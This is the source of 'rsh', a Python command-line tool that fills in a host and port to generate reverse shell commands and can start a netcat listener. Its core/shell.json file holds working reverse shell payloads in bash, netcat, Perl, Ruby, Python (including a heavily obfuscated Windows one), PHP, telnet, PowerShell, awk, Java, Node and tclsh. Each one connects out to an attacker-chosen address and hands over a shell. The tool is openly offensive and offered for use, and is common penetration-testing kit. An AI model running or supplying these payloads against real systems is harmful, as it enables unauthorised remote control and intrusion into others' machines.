.
675 | Lic
676 |
--------------------------------------------------------------------------------
/Readme.md:
--------------------------------------------------------------------------------
1 | rsh
2 |
3 |
4 | [](https://www.python.org/downloads/)
5 | [](https://www.python.org/dev/peps/pep-0008/)
6 | [](https://github.com/mzfr/rsh/graphs/contributors)
7 | [](https://github.com/mzfr/rsh/issues)
8 | [](https://www.gnu.org/licenses/gpl-3.0)
9 | [](https://github.com/mzfr/rsh/graphs/commit-activity)
10 |
11 | 
12 |
13 |
14 | Introduction •
15 | Usage •
16 | Installation •
17 | Gallery
18 |
19 |
20 | rsh is a tool purely written in Python 3 to easily a generate reverse shell command for Linux as well as Windows.
21 |
22 | ### Features
23 |
24 | This tools makes it easy for you to quickly generate reverse shell commands supported in both Linux and Windows, in the following languages:
25 |
26 | * bash
27 | - Bash reverse shell
28 | - netcat
29 | - netcat OpenBSD
30 | - nc.traditional
31 | * Python
32 | - IPv4
33 | - IPv6
34 | * Ruby
35 | * Perl
36 | * PHP
37 | * Powershell
38 | * Node.JS
39 | * TCLSH
40 | * Awk
41 | * Java
42 |
43 | ### Usage
44 |
45 | ```
46 | usage: rsh [-h] [-sh SH] [-listen] lhost lport
47 |
48 | positional arguments:
49 | lhost Specify local host ip
50 | lport Specify a local port
51 |
52 | optional arguments:
53 | -h, --help show this help message and exit
54 | -sh SH Specify the language to generate the reverse shell
55 | -listen Spawn a netcat listener for this shell.
56 | ```
57 |
58 | Using rsh is very simple. All you need to do is provide an IP and port and the type of shell that is to be generated:
59 |
60 | * `./rsh 192.168.56.1 4444 -sh bash`
61 | * `./rsh 192.168.56.1 4444 -sh php`
62 | * `./rsh 192.168.56.1 4444 -sh powershell`
63 |
64 | You can also automatically catch the reverse shell by starting a listener when you are done. This uses netcat and listens on the port you specified for your reverse shell
65 | * `./rsh 192.168.56.1 4444 -sh powershell -listen`
66 |
67 | ### Installation
68 |
69 | You need to have Python 3.5 or greater installed to run rsh. Both Linux and Windows are supported.
70 | Along with that rsh uses [pyfiglet](https://pypi.org/project/pyfiglet/) which you can install by running:
71 |
72 | ```
73 | pip install -r requirements.txt
74 | ```
75 |
76 | ### Gallery
77 |
78 | * __Getting bash command__
79 |
80 | 
81 |
82 | * __Options__
83 |
84 | 
85 |
86 | * __Wrong IP__ :smile:
87 |
88 | 
89 |
90 | * __Wrong PORT__ :smile:
91 |
92 | 
93 |
94 | ### Contribution
95 |
96 | * Report a bug
97 | * Fix something and open a pull request
98 | * Add more reverse shells
99 |
100 | In any case feel free to open an issue
101 |
102 | ## Credits
103 |
104 | All the shell command are taken from [pentestmonkey](http://pentestmonkey.net/)
105 |
106 | ## License
107 |
108 | This project is licensed under the GPLv3 License - see the [LICENSE](LICENSE) file for details
109 |
110 | ## Support
111 |
112 | If you'd like you can buy me some coffee:
113 |
114 |
115 |
--------------------------------------------------------------------------------
/core/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # This file is part of rsh which can be found at https://github.com/mzfr/rsh
3 | # See the file 'LICENSE' for copying permission.
4 |
--------------------------------------------------------------------------------
/core/shell.json:
--------------------------------------------------------------------------------
1 | {
2 | "bash": [
3 | "bash -i >& /dev/tcp/[IPADDR]/[PORT] 0>&1",
4 | "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IPADDR] [PORT] >/tmp/f",
5 | "nc.traditional -e /bin/bash [IPADDR] [PORT]",
6 | "0<&196;exec 196<>/dev/tcp/[IPADDR]/[PORT]; sh <&196 >&196 2>&196",
7 | "exec 5<> /dev/tcp/[IPADDR]/[PORT]; cat <&5 | while read line; do $line 2>&5>&5; done"
8 | ],
9 | "perl": [
10 | "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"[IPADDR]:[PORT]\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'",
11 | "perl -e 'use Socket;$i=\"[IPADDR]\";$p=[PORT];socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'",
12 | "perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"[IPADDR]:[PORT]\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"
13 | ],
14 | "ruby": [
15 | "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"[IPADDR]\",\"[PORT]\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'",
16 | "ruby -rsocket -e'f=TCPSocket.open(\"[IPADDR]\",[PORT]).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'",
17 | "ruby -rsocket -e 'c=TCPSocket.new(\"[IPADDR]\",\"[PORT]\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"
18 | ],
19 | "netcat": [
20 | "nc -c /bin/sh [IPADDR] [PORT]",
21 | "nc -e /bin/sh [IPADDR] [PORT]",
22 | "/bin/sh | nc [IPADDR] [PORT]",
23 | "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IPADDR] [PORT] >/tmp/f",
24 | "rm -f /tmp/p; mknod /tmp/p p && nc [IPADDR] [PORT] 0/tmp/p",
25 | "ncat [IPADDR] [PORT] -e /bin/sh"
26 | ],
27 | "python": [
28 | "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"[IPADDR]\",[PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",
29 | "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"[IPADDR]\",[PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/sh\")'",
30 | "C:\\Python27\\python.exe -c \"(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('[IPADDR]', [PORT])), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))\""
31 | ],
32 | "php": [
33 | "php -r '$sock=fsockopen(\"[IPADDR]\",[PORT]);exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
34 | "php -r '$s=fsockopen(\"[IPADDR]\",[PORT]);shell_exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
35 | "php -r '$s=fsockopen(\"[IPADDR]\",[PORT]);`/bin/sh -i <&3 >&3 2>&3`;'",
36 | "php -r '$s=fsockopen(\"[IPADDR]\",[PORT]);system(\"/bin/sh -i <&3 >&3 2>&3\");'",
37 | "php -r '$s=fsockopen(\"[IPADDR]\",[PORT]);popen(\"/bin/sh -i <&3 >&3 2>&3\", \"r\");'"
38 | ],
39 | "telnet": [
40 | "rm -f /tmp/p; mknod /tmp/p p && telnet [IPADDR] [PORT] 0/tmp/p",
41 | "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet [IPADDR] [PORT] > /tmp/f"
42 | ],
43 | "powershell": [
44 | "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('[IPADDR]',[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""
45 | ],
46 | "awk": [
47 | "awk 'BEGIN {s = \"/inet/tcp/0/[IPADDR]/[PORT]\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null"
48 | ],
49 | "java": [
50 | "r = Runtime.getRuntime();p = r.exec([\"/bin/sh\",\"-c\",\"exec 5<>/dev/tcp/[IPADDR]/[PORT];cat <&5 | while read line; do $line 2>&5 >&5; done\"] as String[]);p.waitFor();"
51 | ],
52 | "node": [
53 | "(function(){var net=require(\"net\"),cp=require(\"child_process\"),sh=cp.spawn(\"/bin/sh\",[]);var client=new net.Socket();client.connect([PORT],\"[IPADDR]\",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"
54 | ],
55 | "tclsh": [
56 | "echo 'set s [socket [IPADDR] [PORT]];while 42 { puts -nonewline $s \"shell>\";flush $s;gets $s c;set e \"exec $c\";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh"
57 | ]
58 | }
59 |
--------------------------------------------------------------------------------
/core/utils.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # This file is part of rsh which can be found at https://github.com/mzfr/rsh
3 | # See the file 'LICENSE' for copying permission.
4 |
5 | from urllib.parse import quote_plus, urlencode
6 |
7 | import socket
8 | import sys
9 |
10 | """Maximum allowed value for the port of the provided IP"""
11 | MAX_ALLOWED_PORT = 65536
12 |
13 | """Minimum allowed value for the port of the provided IP"""
14 | MIN_ALLOWED_PORT = 1
15 |
16 | def colors(string: str, color: str) -> None:
17 | """Make things colorfull
18 |
19 | Arguments:
20 | string {str} -- String to apply colors on
21 | color {int} -- value of color to apply
22 | """
23 | print(f"\033[{color}m{string}\033[0m")
24 |
25 |
26 | def is_port_valid(port: str) -> bool:
27 | """Validate port number entered"""
28 | try:
29 | return MIN_ALLOWED_PORT < int(port) < MAX_ALLOWED_PORT
30 | except ValueError:
31 | return False
32 |
33 |
34 | def url_encode(cmd) -> str:
35 | """url_encodes the cmd provided"""
36 | try:
37 | return urlencode(cmd, quote_via=quote_plus)
38 | except Exception as error:
39 | print(f'[x] Error:"{error}"')
40 | sys.exit(0)
41 |
42 |
43 | def is_ip_valid(ip: str) -> bool:
44 | """validate ip provided"""
45 | try:
46 | if socket.inet_aton(ip):
47 | return True
48 | except socket.error:
49 | return False
50 |
--------------------------------------------------------------------------------
/images/ip-err.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mzfr/rsh/fbf87b86c59301a8cc7e25764641dd862ccf5220/images/ip-err.png
--------------------------------------------------------------------------------
/images/options.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mzfr/rsh/fbf87b86c59301a8cc7e25764641dd862ccf5220/images/options.png
--------------------------------------------------------------------------------
/images/port-err.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mzfr/rsh/fbf87b86c59301a8cc7e25764641dd862ccf5220/images/port-err.png
--------------------------------------------------------------------------------
/images/rsh.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mzfr/rsh/fbf87b86c59301a8cc7e25764641dd862ccf5220/images/rsh.png
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | pyfiglet==0.8.post1
--------------------------------------------------------------------------------
/rsh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # This file is part of rsh which can be found at https://github.com/mzfr/rsh
4 | # See the file 'LICENSE' for copying permission.
5 |
6 | from random import choice
7 | from os import system
8 | from core.utils import *
9 | from pyfiglet import figlet_format
10 |
11 | import argparse
12 | import json
13 | import signal
14 | import sys
15 |
16 | CHOICE = ['java', 'python', 'nc', 'ruby',
17 | 'bash', 'perl', 'php', 'telnet',
18 | 'powershell', 'awk', 'node', 'tclsh']
19 |
20 | COLORS = [91, 92, 93, 94, 95, 96]
21 |
22 |
23 | def options() -> argparse.Namespace:
24 | """Generate `rsh` options"""
25 | parser = argparse.ArgumentParser()
26 |
27 | parser.add_argument('lhost', help='Specify local host ip')
28 | parser.add_argument('lport', default=8080, help="Specify a local port")
29 | parser.add_argument('-sh', help='Specify the language to generate the reverse shell',
30 | default='bash')
31 |
32 | parser.add_argument('-listen', help="Spawn a netcat listener for this shell.", action="store_true",
33 | default=False)
34 |
35 | parsed_args = parser.parse_args()
36 |
37 | return parsed_args
38 |
39 |
40 | def getcmd(shell: str, lhost: str, lport: str) -> None:
41 | """Generate the requested reverse shell command"""
42 | with open('core/shell.json', 'r') as f:
43 | data = json.load(f)
44 |
45 | for sh in data[shell]:
46 | cmd = sh.replace('[IPADDR]', lhost)
47 | cmd = cmd.replace('[PORT]', lport)
48 | colors(f'\n[+] {cmd}', choice(COLORS))
49 |
50 |
51 | def signal_handler(signal, frame):
52 | colors('\n[!] Ctrl+C detected, terminating...', 91)
53 | sys.exit(1)
54 |
55 |
56 | def main(args):
57 | """`rsh` main"""
58 | # Register the signal handler for a more graceful Ctrl+C
59 | signal.signal(signal.SIGINT, signal_handler)
60 |
61 | # Fetch user arguments
62 | lhost = args.lhost
63 | lport = args.lport
64 | shell = args.sh
65 | listen = args.listen
66 |
67 | # Assert that the used IP address is valid
68 | if not is_ip_valid(lhost):
69 | colors('[!] Invalid IP given', 91)
70 | sys.exit(1)
71 |
72 | # Assert that the used port is valid
73 | if not is_port_valid(lport):
74 | colors(f'[!] Port must be in range {MIN_ALLOWED_PORT}-{MAX_ALLOWED_PORT}', 91)
75 | sys.exit(1)
76 |
77 | # Generate the requested shellc command
78 | colors(f'\n[~] Generating {shell} Shell for {lhost}{lport}', 93)
79 |
80 | if shell in CHOICE:
81 | getcmd(shell, lhost, lport)
82 | else:
83 | print('\nChoose from: \n')
84 | colors('\n'.join(CHOICE), 94)
85 |
86 | if listen:
87 | colors("\n[*] Press enter to start listening on port {}".format(lport), 94)
88 | input()
89 |
90 | colors("[~] Starting Netcat reverse Shell on port {PORT}".format(PORT=lport), 93)
91 | system("nc -lvnp {}".format(lport))
92 | colors("[*] Reverse shell closed...", 93)
93 |
94 |
95 | if __name__ == "__main__":
96 | """`rsh` entrypoint"""
97 | colors(figlet_format('\t$ rsh', font='big'), 92)
98 | args = options()
99 | main(args)
100 |
--------------------------------------------------------------------------------